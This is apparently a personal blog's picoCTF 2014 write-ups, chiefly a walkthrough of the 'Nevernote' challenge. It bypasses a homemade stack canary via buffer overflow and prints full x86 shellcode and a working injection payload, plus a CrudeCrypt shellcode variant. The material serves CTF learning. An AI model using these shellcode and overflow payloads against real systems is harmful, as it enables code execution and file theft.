The hostname gets copied in using strncpy(), a call that appears here in the ASM. At 0x08048e28, the first argument to strncpy() (the hostname buffer) gets pushed onto the stack from EAX. If we set a GDB breakpoint here, we can see what's inside EAX.

 (gdb) b *0x08048e28                                             
 Breakpoint 1 at 0x8048e28                                          
 (gdb) run                                                  
 Starting program: /home_users/pico59150/crude_crypt decrypt data_enc.bin data_out.bin            
 -=- Welcome to CrudeCrypt 0.1 Beta -=-                                    
 -> File password: h4x                                            
 Breakpoint 1, 0x08048e28 in check_hostname ()                                
 (gdb) info registers                                             
 eax      0xffffd630    -10704                                    
 ecx      0x28   40                                          
 edx      0x804c368    134529896                                  
 ebx      0xf7dea000    -136404992                                  
 esp      0xffffd600    0xffffd600                                  
 ebp      0xffffd658    0xffffd658                                  
 esi      0x0   0                                          
 edi      0x0   0                                          
 eip      0x8048e28    0x8048e28 <check_hostname+37>                        
 eflags     0x202  [ IF ]                                        
 cs       0x23   35                                          
 ss       0x2b   43                                          
 ds       0x2b   43                                          
 es       0x2b   43                                          
 fs       0x0   0                                          
 gs       0x63   99                                          
 (gdb)  

The address in the official binary is actually slightly offset from what's shown here. I tracked it down to 0xffffd610, which does work with infinite loop shellcode. The program freezes until we quit with Ctrl-C:
















With the address of the buffer down, we now have everything needed to write shellcode again. I have a piece of ASM for getting flag.txt that I used in almost every binary exploitation challenge, with only minor changes for each challenge. This ASM uses the int 0x80 Linux syscall interface to open, read, and print out the flag. In this case, though, we need a slightly more substantial change, since the return address divides the shellcode into two pieces:

 [BITS 32]  
 start:  
      mov ebp, 0xffffd610  
      xor eax, eax  
      mov al, 5  
      lea ebx, [ebp + 0x39]  
      xor edx, edx  
      mov [ebp + 0x41], dl  
      xor ecx, ecx  
      int 0x80  
      mov ebx, eax  
      xor eax, eax  
      mov al, 3  
      lea ecx, [ebp + 0x44]  
      xor edx, edx  
      mov dl, 36  
      int 0x80  
      lea esi, [ebp + 0x30]  
      call esi  
      nop  
      nop  
      nop  
 retaddr:  
      nop  
      nop  
      nop  
      nop  
 continue:  
      xor eax, eax  
      mov al, 4  
      xor ebx, ebx  
      inc ebx  
      int 0x80  
 filename db "flag.txta"  
 data:  


Aside from this, it's the exact same shellcode I used to exploit Nevernote. Now we can assemble our shellcode and copy it into the file. We should end up with this:
















Encrypt it for use with CrudeCrypt, run the decryption, and we get this:

 pico59150@shell:~$ ./encrypt encrypt data.bin data_enc.bin                          
 -=- Welcome to CrudeCrypt 0.1 Beta -=-  
 -> File password: h4x                                            
 => Encrypted file successfully                                        
 pico59150@shell:~$ cd /home/crudecrypt/                                   
 pico59150@shell:/home/crudecrypt$ ./crude_crypt decrypt ~/data_enc.bin ~/data_out.bin            
 -=- Welcome to CrudeCrypt 0.1 Beta -=-  
 -> File password: h4x                                            
 writing_software_is_hard                                           
 þëþëþëþëþëþSegmentation fault (core dumped)                                 
 pico59150@shell:/home/crudecrypt$  

And that gets us another flag! Writing software is indeed hard, who am I to argue with that?

Thursday, November 13, 2014

picoCTF 2014: Nevernote (binary180)

Nevernote was a 180 point binary exploitation problem. Like most of the binary exploitation challenges, the goal is to find some vulnerability and exploit it to get the flag. This one, however, apparently uses a special library to detect buffer overflows. We'll have to contend with that if we want to get code execution. So let's jump in!

Let's start by taking a look at the command processing function called by main():

 void command_loop(){  
   char name[64];  
   char command[16];  
   char *note_file_path;  
   printf("Please enter your name: ");  
   fflush(stdout);  
   fgets(name, 64, stdin);  
   name[strcspn(name, "\n")] = '\0';  
   if (strchr(name, '.') || strchr(name, '/')){  
     printf("Bad character in name!\n");  
     return;  
   }  
   note_file_path = (char *)malloc(strlen(name)+64);  
   sprintf(note_file_path, "/home/nevernote/notes/%s", name);  
   while (true){  
     printf("Enter a command: ");  
     fflush(stdout);  
     if (fgets(command, 16, stdin) == NULL) goto exit;  
     switch (command[0]){  
       case 'a':  
       case 'A':  
         add_note(note_file_path);  
         break;  
       case 'v':  
       case 'V':  
         view_notes(note_file_path);  
         break;  
       case 'q':  
       case 'Q':  
         goto exit;  
       default:  
         puts("Commands: [a]dd_note, [v]iew_notes, [q]uit");  
         fflush(stdout);  
         break;  
     }  
   }  
 exit:  
   free(note_file_path);  
   return;  
 }

The command loop is fairly self-explanatory, but just a few observations:

  • Nevernote asks for a name in order to create a special directory for your notes. It also checks for characters like . and / which could alter the path, so we can't just point it at the parent directory and make the program read the flag for us.
  • Enough space is allocated to sprintf() the name into note_file_path, so there's no buffer vulnerability in there. Not like they'd make it this easy anyway.


Now let's take a look at the function for adding a note, add_note(), along with the function that actually reads it in, get_note():

 #define NOTE_SIZE 1024
  
 bool get_note(char *dest){  
   struct safe_buffer temporary;  
   bool valid;  
   get_canary(&temporary.can);  
   printf("Write your note: ");  
   fflush(stdout);  
   fgets(temporary.buf, NOTE_SIZE, stdin);  
   // disallow some characters  
   if (strchr(temporary.buf, '\t') || strchr(temporary.buf, '\r')){  
     valid = false;  
   }else{  
     valid = true;  
     strncpy(dest, temporary.buf, NOTE_SIZE);  
   }  
   verify_canary(&temporary.can);  
   return valid;  
 }
  
 void add_note(char *path){  
   char *new_note = (char *)malloc(NOTE_SIZE);  
   if (get_note(new_note) == true){ //note passed the check  
     FILE *f;  
     if ((f = fopen(path, "a")) == NULL){  
       puts("Cannot write note.");  
       fflush(stdout);  
       free(new_note);  
       exit(1);  
     }  
     fputs(new_note, f);  
     fclose(f);  
     puts("Note added.");  
     fflush(stdout);  
   }else{  
     puts("Your note contained invalid characters. Please try again.");  
     fflush(stdout);  
   }  
   free(new_note);  
 }  

add_note() allocates a buffer and invokes get_note() to read data into the buffer. get_note() allocates a "safe buffer" on the stack, reads 1024 bytes from stdin into it, checks for path characters, and then does a check on the safe buffer's canary. The safe buffer is likely the buffer overflow detection library mentioned, so let's see how it's implemented.

 #define SAFE_BUFFER_SIZE 512
  
 struct canary{  
   int canary;  
   int *verify;  
 };
  
 /* buffer overflow resistant buffer */  
 struct safe_buffer{  
   char buf[SAFE_BUFFER_SIZE];  
   struct canary can;  
 }; 

 static void __canary_failure(int signo){  
   printf("Buffer overflow detected! Exiting.\n");  
   exit(0);  
 }
  
 void get_canary(struct canary *c){  
   // store the canary on the heap for verification!  
   int *location = (int *)malloc(sizeof(int));  
   // use good randomness!  
   FILE *f = fopen("/dev/urandom", "r");  
   fread(location, sizeof(int), 1, f);  
   fclose(f);  
   c->verify = location;  
   c->canary = *location;  
   return;  
 }
  
 void verify_canary(struct canary *c){  
   if (c->canary != *(c->verify)){  
     printf("Canary was incorrect!\n");  
     __canary_failure(1);  
   }  
   // we're all good; free the canary and return  
   free(c->verify);  
   return;  
 }
  
 void register_segfault_handler(){  
   signal(SIGSEGV, __canary_failure);  
 }

Right away, there's an apparent buffer overflow vulnerability. get_note() tries to read 1024 bytes into the safe buffer, which is only 512 bytes long. Since the safe buffer is stored on the stack, we can overwrite the return address and jump wherever we want. And because there's no NX or ASLR on this binary, we can just put shellcode inside the buffer and point back at it. But that's assuming that we won't be stopped by the canary.

The canary contains a random value, which is verified against a copy of that same value on the heap. verify_canary(), called by get_note() after reading into the buffer, makes sure that the canary wasn't modified, and exits the program if it isn't. On the surface, it seems secure, but there's actually a pretty serious bug in this canary implementation. Both the canary we're checking and the pointer to the correct value are stored right after the buffer, so the buffer overflow extends to both of them. We can just point the correct value to a buffer whose value we know.

(One aside: we do have to be careful with this. The buffer with the correct value is freed by verify_canary() right after. This means we can't just point it to anywhere. It has to actually be a buffer on the heap. Otherwise, the free() function will fail or crash.)

So what's a heap buffer whose value we know? Well, there is note_file_path, way back in the command_loop() function. It always begins with "/home/nevernote/notes/", so we know the first 4 bytes, which is enough. We just need to find its address. There's no ASLR, so it's reasonable to assume that it'll be at the same place every time. We can find out the exact address by setting a GDB breakpoint in command_loop() right after malloc() returns and looking at EAX.

Using objdump to print out a disassembly of nevernote shows the following code inside command_loop():

 8048b2e: e8 9d fa ff ff     call  80485d0 <malloc@plt>  
 8048b33: 89 45 f4           mov  %eax,-0xc(%ebp)  

So the breakpoint should be placed at 0x08048b33. Let's do this:

 (gdb) b *0x08048b33                                             
 Breakpoint 1 at 0x8048b33                                          
 (gdb) run                                                  
 Starting program: /home/nevernote/nevernote                                 
 Please enter your name: george                                        
 Breakpoint 1, 0x08048b33 in command_loop ()                                 
 (gdb) info registers                                             
 eax      0x804c008    134529032                                  
 ecx      0xf7fc8420    -134446048                                  
 edx      0x804c008    134529032                                  
 ebx      0xf7fc8000    -134447104                                  
 esp      0xffffd6a0    0xffffd6a0                                  
 ebp      0xffffd718    0xffffd718                                  
 esi      0x0   0                                          
 edi      0x0   0                                          
 eip      0x8048b33    0x8048b33 <command_loop+168>                         
 eflags     0x282  [ SF IF ]                                      
 cs       0x23   35                                          
 ss       0x2b   43                                          
 ds       0x2b   43                                          
 es       0x2b   43                                          
 fs       0x0   0                                          
 gs       0x63   99                                          
 (gdb)  

So the address of note_file_path will be 0x0804c008, and its first four bytes are "/hom". This is all the information we need to overwrite the canary without Nevernote noticing. Let's try this out to see if it actually works:

 pico59150@shell:/home/nevernote$ { echo "george"; sleep 1; echo "a"; sleep 1; echo -n -e "aaaaaaaaaaaaaaa  
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/hom\x08\xc0\x04\x08"; } | .  
 /nevernote                                                  
 Please enter your name: Enter a command: Write your note: Cannot write note.  
 pico59150@shell:/home/nevernote$  

We use a series of echos because we need to send multiple stdin inputs to Nevernote. After entering a name and telling it to add a note, we enter a note that overflows the buffer. There are 512 "a" characters, followed by /hom and then the address of the known buffer (0x0804c008). As we can see, it passes the canary check and actually tries to write the note (though this fails). Now that the canary check works, we just need the address of the buffer, and then we can start writing shellcode!

 80488ac: 8d 85 ec fd ff ff     lea  -0x214(%ebp),%eax  
 80488b2: 89 04 24              mov  %eax,(%esp)  
 80488b5: e8 d6 fc ff ff        call  8048590 <fgets@plt>  

This is right before the fgets() call in get_note(), so EAX (the first argument) will be the address of the buffer. We can use GDB again to get the address:

 (gdb) b *0x080488b5                                             
 Breakpoint 1 at 0x80488b5                                          
 (gdb) run                                                  
 Starting program: /home/nevernote/nevernote                                 
 Please enter your name: george                                        
 Enter a command: a                                              
 Write your note:                                               
 Breakpoint 1, 0x080488b5 in get_note ()                                   
 (gdb) info registers                                             
 eax      0xffffd454    -11180                                    
 ecx      0xf7fc9898    -134440808                                  
 edx      0x0   0                                          
 ebx      0xf7fc8000    -134447104                                  
 esp      0xffffd440    0xffffd440                                  
 ebp      0xffffd668    0xffffd668                                  
 esi      0x0   0                                          
 edi      0x0   0                                          
 eip      0x80488b5    0x80488b5 <get_note+79>                           
 eflags     0x286  [ PF SF IF ]                                     
 cs       0x23   35                                          
 ss       0x2b   43                                          
 ds       0x2b   43                                          
 es       0x2b   43                                          
 fs       0x0   0                                          
 gs       0x63   99                                          
 (gdb)  

GDB tells us that our buffer is located at 0xffffd454. Finally, we can start writing some shellcode to get the flag. There are multiple ways to do this, but I personally have boilerplate shellcode that makes several Linux kernel syscalls to open, read, and print out the flag. On Linux, syscalls are traditionally done with int 0x80.

 [BITS 32]  
 start:  
      mov ebp, 0xffffd454
  
      xor eax, eax  
      mov al, 5  
      lea ebx, [ebp + 0x2d]  
      xor edx, edx  
      mov [ebp + 0x35], dl  
      xor ecx, ecx  
      int 0x80
  
      mov ebx, eax  
      xor eax, eax  
      mov al, 3  
      lea ecx, [ebp + 0x38]  
      xor edx, edx  
      mov dl, 36  
      int 0x80
  
      xor eax, eax  
      mov al, 4  
      xor ebx, ebx  
      inc ebx  
      int 0x80  
 filename db "flag.txta"  
 data:  


If we assemble this into a binary (you'll need NASM, since I use that syntax), disassemble it, and put all the bytes together with escape codes, we can now insert this shellcode into our buffer. We also need to pad it to 512 bytes, which we'll just do with 0xebfe. Then we have the canary bypass and the address of our buffer, which will alter the return address.

 pico59150@shell:/home/nevernote$ { echo "george"; sleep 1; echo "a"; sleep 1; echo -n -e "\xbd\x54\xd4\xf  
 f\xff\x31\xc0\xb0\x05\x8d\x5d\x2d\x31\xd2\x88\x55\x35\x31\xc9\xcd\x80\x89\xc3\x31\xc0\xb0\x03\x8d\x4d\x38  
 \x31\xd2\xb2\x30\xcd\x80\x31\xc0\xb0\x04\x31\xdb\x43\xcd\x80\x66\x6c\x61\x67\x2e\x74\x78\x74\x61\xeb\xfe\  
 xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x  
 eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xe  
 b\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb  
 \xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\  
 xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\x  
 fe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xf  
 e\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe  
 \xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\  
 xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x  
 eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xe  
 b\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb  
 \xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\  
 xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\x  
 fe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xf  
 e\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe  
 \xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\  
 xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x  
 eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe/hom\x08\xc0\x04\x08\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xf  
 f\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff"; } | ./nevernote     
 Please enter your name: Enter a command: Write your note: the_hairy_canary_fairy_is_still_very_wary     
 ëþëþëþBuffer overflow detected! Exiting.                                   
 pico59150@shell:/home/nevernote$  

The program does crash, but we get the flag printed out before that. The flag, the_hairy_canary_fairy_is_still_very_wary, concludes the challenge, netting us 180 points!

picoCTF 2014: Introduction

This fall, I participated in picoCTF with four friends. picoCTF is a CTF targeted towards middle and high school students, with questions ranging from easy to challenging. It covers a variety of topics in computer security, including binary exploitation, web exploitation, reverse engineering, cryptography, and forensics. picoCTF is organized by two student-run organizations at Carnegie Mellon University, the Plaid Parliament of Pwning (PPP) and Team Daedalus. Thanks to both of them for organizing an amazing competition!

Despite it being our first time ever participating in a CTF, we did quite well, getting 7th place in the nation out of over 3000 teams. In the end, we solved all but two master challenges. Now that picoCTF is over, we'll be posting write-ups of problem solutions. I personally focused on binary exploitation and reverse engineering, so those will probably be done first. My teammates will contribute write-ups for the problems they solved. Expect to see them here soon!